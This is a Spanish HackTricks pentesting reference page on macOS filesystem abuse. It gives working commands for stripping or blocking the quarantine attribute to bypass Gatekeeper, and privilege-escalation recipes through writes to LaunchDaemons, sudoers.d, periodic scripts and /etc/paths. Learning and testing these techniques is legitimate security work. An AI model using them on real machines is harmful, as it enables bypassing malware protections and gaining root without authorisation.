macOS FS Tricks

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Combinaciones de permisos POSIX

Permisos en un directorio:

  • lectura - puedes enumerar las entradas del directorio

  • escritura - puedes borrar/escribir archivos en el directorio y puedes borrar carpetas vacías.

  • Pero no puedes borrar/modificar carpetas no vacías a menos que tengas permisos de escritura sobre ellas.

  • No puedes modificar el nombre de una carpeta a menos que la poseas.

  • ejecución - se te permite atravesar el directorio - si no tienes este derecho, no puedes acceder a ningún archivo dentro de él, ni en ningún subdirectorio.

Combinaciones Peligrosas

Cómo sobrescribir un archivo/carpeta propiedad de root, pero:

  • Uno de los propietarios del directorio padre en la ruta es el usuario

  • Uno de los propietarios del directorio padre en la ruta es un grupo de usuarios con acceso de escritura

  • Un grupo de usuarios tiene acceso de escritura al archivo

Con cualquiera de las combinaciones anteriores, un atacante podría inyectar un enlace simbólico/duro en la ruta esperada para obtener una escritura arbitraria privilegiada.

Caso Especial de R+X de la raíz de la carpeta

Si hay archivos en un directorio donde solo root tiene acceso de R+X, estos no son accesibles para nadie más. Por lo tanto, una vulnerabilidad que permita mover un archivo legible por un usuario, que no se puede leer debido a esa restricción, desde este directorio a otro diferente, podría ser abusada para leer estos archivos.

Ejemplo en: https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions

Enlace simbólico / Enlace duro

Si un proceso privilegiado está escribiendo datos en un archivo que podría ser controlado por un usuario menos privilegiado, o que podría ser creado previamente por un usuario menos privilegiado. El usuario simplemente podría apuntarlo a otro archivo a través de un enlace simbólico o duro, y el proceso privilegiado escribirá en ese archivo.

Consulta en las otras secciones dónde un atacante podría abusar de una escritura arbitraria para escalar privilegios.

.fileloc

Los archivos con extensión .fileloc pueden apuntar a otras aplicaciones o binarios, por lo que cuando se abren, la aplicación/binario será el que se ejecute. Ejemplo:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>file:///System/Applications/Calculator.app</string>
<key>URLPrefix</key>
<integer>0</integer>
</dict>
</plist>

FD Arbitrario

Si puedes hacer que un proceso abra un archivo o una carpeta con altos privilegios, puedes abusar de crontab para abrir un archivo en /etc/sudoers.d con EDITOR=exploit.py, de esta manera exploit.py obtendrá el FD al archivo dentro de /etc/sudoers y lo abusará.

Por ejemplo: https://youtu.be/f1HA5QhLQ7Y?t=21098

Trucos para Evitar las xattrs de Cuarentena

Eliminarlo

xattr -d com.apple.quarantine /path/to/file_or_app

Bandera uchg / uchange / uimmutable

Si un archivo/carpeta tiene este atributo inmutable, no será posible ponerle un xattr.

echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'

ls -lO /tmp/asd
# check the "uchg" in the output

Montaje de defvfs

Un montaje de devfs no admite xattr, más información en CVE-2023-32364

mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'

ACL de writeextattr

Esta ACL evita agregar xattrs al archivo.

rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

cd /tmp
echo y | rm test

# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test

# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test

com.apple.acl.text xattr + AppleDouble

El formato de archivo AppleDouble copia un archivo incluyendo sus ACEs.

En el código fuente es posible ver que la representación de texto de ACL almacenada dentro del xattr llamado com.apple.acl.text se establecerá como ACL en el archivo descomprimido. Por lo tanto, si comprimiste una aplicación en un archivo zip con el formato de archivo AppleDouble con un ACL que evita que otros xattrs se escriban en él... el xattr de cuarentena no se establecerá en la aplicación:

Consulta el informe original para obtener más información.

Para replicar esto primero necesitamos obtener la cadena de acl correcta:

# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs

# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip

# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test

(Note that even if this works the sandbox write the quarantine xattr before)

No es realmente necesario, pero lo dejo ahí por si acaso:

pagemacOS xattr-acls extra stuff

Saltar Firmas de Código

Los paquetes contienen el archivo _CodeSignature/CodeResources que contiene el hash de cada archivo en el paquete. Ten en cuenta que el hash de CodeResources también está incrustado en el ejecutable, por lo que no podemos manipularlo.

Sin embargo, hay algunos archivos cuya firma no se verificará, estos tienen la clave omit en el plist, como:

<dict>
...
<key>rules</key>
<dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
<key>rules2</key>
...
<key>^(.*/)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>2000</real>
</dict>
...
<key>^PkgInfo$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>20</real>
</dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>

Es posible calcular la firma de un recurso desde la línea de comandos con:

openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64

Por lo general, macOS monta el disco hablando con el servicio Mach com.apple.DiskArbitration.diskarbitrationd (proporcionado por /usr/libexec/diskarbitrationd). Si se agrega el parámetro -d al archivo plist de LaunchDaemons y se reinicia, almacenará registros en /var/log/diskarbitrationd.log. Sin embargo, es posible utilizar herramientas como hdik y hdiutil para comunicarse directamente con el kext com.apple.driver.DiskImages.

Escrituras Arbitrarias

Scripts sh periódicos

Si su script podría ser interpretado como un script de shell, podría sobrescribir el script de shell /etc/periodic/daily/999.local que se activará todos los días.

Puede simular una ejecución de este script con: sudo periodic daily

Daemons

Escriba un LaunchDaemon arbitrario como /Library/LaunchDaemons/xyz.hacktricks.privesc.plist con un plist que ejecute un script arbitrario como:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.sample.Load</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Scripts/privesc.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

Archivo Sudoers

Si tienes escritura arbitraria, podrías crear un archivo dentro de la carpeta /etc/sudoers.d/ otorgándote privilegios de sudo.

Archivos PATH

El archivo /etc/paths es uno de los lugares principales que populan la variable de entorno PATH. Debes ser root para sobrescribirlo, pero si un script de un proceso privilegiado está ejecutando algún comando sin la ruta completa, podrías secuestrarlo modificando este archivo.

También puedes escribir archivos en /etc/paths.d para cargar nuevas carpetas en la variable de entorno PATH.

Generar archivos escribibles como otros usuarios

Esto generará un archivo que pertenece a root y es escribible por mí (código desde aquí). Esto también podría funcionar como escalada de privilegios:

DIRNAME=/usr/local/etc/periodic/daily

mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"

MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername

FILENAME=$(ls "$DIRNAME")
echo $FILENAME

Memoria Compartida POSIX

La memoria compartida POSIX permite a los procesos en sistemas operativos compatibles con POSIX acceder a un área de memoria común, facilitando una comunicación más rápida en comparación con otros métodos de comunicación entre procesos. Implica crear o abrir un objeto de memoria compartida con shm_open(), establecer su tamaño con ftruncate(), y mapearlo en el espacio de direcciones del proceso utilizando mmap(). Los procesos pueden entonces leer y escribir directamente en esta área de memoria. Para gestionar el acceso concurrente y prevenir la corrupción de datos, se suelen utilizar mecanismos de sincronización como mutex o semáforos. Finalmente, los procesos desmapean y cierran la memoria compartida con munmap() y close(), y opcionalmente eliminan el objeto de memoria con shm_unlink(). Este sistema es especialmente efectivo para una IPC eficiente y rápida en entornos donde múltiples procesos necesitan acceder a datos compartidos rápidamente.

Ejemplo de Código del Productor

```c // gcc producer.c -o producer -lrt #include #include #include #include #include #include

int main() { const char *name = "/my_shared_memory"; const int SIZE = 4096; // Size of the shared memory object

// Create the shared memory object int shm_fd = shm_open(name, O_CREAT | O_RDWR, 0666); if (shm_fd == -1) { perror("shm_open"); return EXIT_FAILURE; }

// Configure the size of the shared memory object if (ftruncate(shm_fd, SIZE) == -1) { perror("ftruncate"); return EXIT_FAILURE; }

// Memory map the shared memory void *ptr = mmap(0, SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, shm_fd, 0); if (ptr == MAP_FAILED) { perror("mmap"); return EXIT_FAILURE; }

// Write to the shared memory sprintf(ptr, "Hello from Producer!");

// Unmap and close, but do not unlink munmap(ptr, SIZE); close(shm_fd);

return 0; }

</details>

<details>

<summary>Ejemplo de Código del Consumidor</summary>
```c
// gcc consumer.c -o consumer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096; // Size of the shared memory object

// Open the shared memory object
int shm_fd = shm_open(name, O_RDONLY, 0666);
if (shm_fd == -1) {
perror("shm_open");
return EXIT_FAILURE;
}

// Memory map the shared memory
void *ptr = mmap(0, SIZE, PROT_READ, MAP_SHARED, shm_fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}

// Read from the shared memory
printf("Consumer received: %s\n", (char *)ptr);

// Cleanup
munmap(ptr, SIZE);
close(shm_fd);
shm_unlink(name); // Optionally unlink

return 0;
}

Descriptores protegidos de macOS

Los descriptores protegidos de macOS son una característica de seguridad introducida en macOS para mejorar la seguridad y confiabilidad de las operaciones de descriptores de archivos en aplicaciones de usuario. Estos descriptores protegidos proporcionan una forma de asociar restricciones específicas o "guardias" con descriptores de archivos, que son aplicadas por el kernel.

Esta característica es particularmente útil para prevenir ciertas clases de vulnerabilidades de seguridad como el acceso no autorizado a archivos o condiciones de carrera. Estas vulnerabilidades ocurren, por ejemplo, cuando un hilo está accediendo a una descripción de archivo dando acceso a otro hilo vulnerable sobre él o cuando un descriptor de archivo es heredado por un proceso hijo vulnerable. Algunas funciones relacionadas con esta funcionalidad son:

  • guarded_open_np: Abre un FD con una guardia

  • guarded_close_np: Ciérralo

  • change_fdguard_np: Cambia las banderas de guardia en un descriptor (incluso eliminando la protección de la guardia)

Referencias

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización